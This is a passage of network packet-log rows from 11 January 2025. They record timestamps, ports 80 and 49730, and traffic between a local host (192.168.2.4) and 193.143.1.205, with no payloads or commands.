Jan 11, 2025 08:47:37.821877003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.821939945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.821963072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.821994066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822031021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822065115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822098970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822133064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822144985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.822144985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.822168112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822177887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.822201014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822235107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822243929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.822289944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822334051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.822345972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822376013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822423935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.822426081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822460890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822495937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822506905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.822530031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822562933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822576046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.822597027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822629929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822642088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.822665930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822700977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822715044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.822736979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.822778940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.842565060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.842588902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.842606068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.842621088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.842637062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.842652082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.842660904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.842673063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.842674971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.842708111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.842745066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.842844963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.842844963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.842844963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.855289936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855353117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855393887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855411053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855436087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855453968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855472088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855505943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855540991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855575085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855611086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855648041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855670929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.855670929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.855670929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.855700970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.855737925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855791092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855835915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.855855942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855889082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855922937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.855931997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.855973005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856019020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.856028080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856061935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856096983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856103897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.856131077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856167078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856180906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.856199980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856235981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856245041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.856323957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856358051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856369019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.856410027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856443882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856458902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.856504917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856539965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856554985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.856574059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856606960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856631994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.856641054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856674910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856682062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.856842995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856872082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.856884003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.866513968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.866543055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.866605997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.900408030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.900455952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.900496006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.900531054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.900566101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.900599957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.900634050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.900660038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.900660038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.900660038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.900672913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.900685072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.913191080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913247108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913324118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913374901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913408995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.913408995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913408995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.913444042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913453102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.913479090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913522959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.913531065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913582087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913610935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913625956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.913644075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913676977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913687944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.913711071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913744926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913753986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.913861036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913893938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913903952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.913927078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913959026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.913970947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.913992882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914024115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914033890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.914060116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914088011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914118052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.914122105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914155006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914180994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.914206982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914243937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914254904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.914294004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914326906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914361000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914366961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.914393902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914418936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.914428949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.914505959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.933685064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.933721066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.933799028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.933850050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.933885098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.933917999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.933950901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.933964014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.933964014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.933984995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.933985949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.934032917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.934041023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.934076071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.934123039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.934123993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.934159994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.934192896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.934209108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.946775913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.946810007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.946845055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.946865082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.946881056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.946916103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.946955919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.946990967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947021961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947032928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947032928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947041988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947057009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947096109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947098970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947145939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947189093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947197914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947232008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947263956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947273970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947299004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947357893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947367907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947419882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947453976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947468042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947514057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947557926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947562933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947603941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947637081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947648048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947670937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947704077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947716951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947737932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947771072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947778940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947803020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947840929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.947936058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.947971106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948013067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.948019981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948054075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948086977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948095083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.948120117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948154926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948164940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.948188066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948223114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948229074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.948256016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948291063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948297977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.948401928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948443890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.948451996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948487997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948519945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948533058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.948554993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948594093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.948596954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.958205938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.958251953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.958286047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.991993904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.992033958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.992070913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.992070913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.992105007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.992115974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.992140055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.992176056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.992185116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.992214918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.992244005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.992268085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:37.992276907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.992311001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:37.992320061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.004754066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.004785061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.004826069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.004843950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.004858017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.004873991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.004892111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.004928112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.004981041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005013943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005048037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005079985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005079985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005079985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005109072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005167961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005238056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005271912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005281925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005306005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005338907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005348921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005373001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005409956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005414009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005438089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005497932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005556107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005589962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005634069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005641937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005676031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005709887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005717993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005743027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005775928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005784035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005809069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005841970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005851984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005875111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005908966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005916119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.005945921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.005990982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.006069899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.006103039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.006135941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.006151915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.006170034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.006211042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.025548935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.025652885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.025690079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.025716066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.025724888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.025780916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.025791883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.025819063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.025856018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.025866985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.025891066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.025923967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.025933981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.025958061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.025990963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.026012897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.026026011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.026058912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.026067019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:47:38.026093960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.026129961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:47:38.026139021 CET	49730	80	192.168.2.4	193.143.1.205
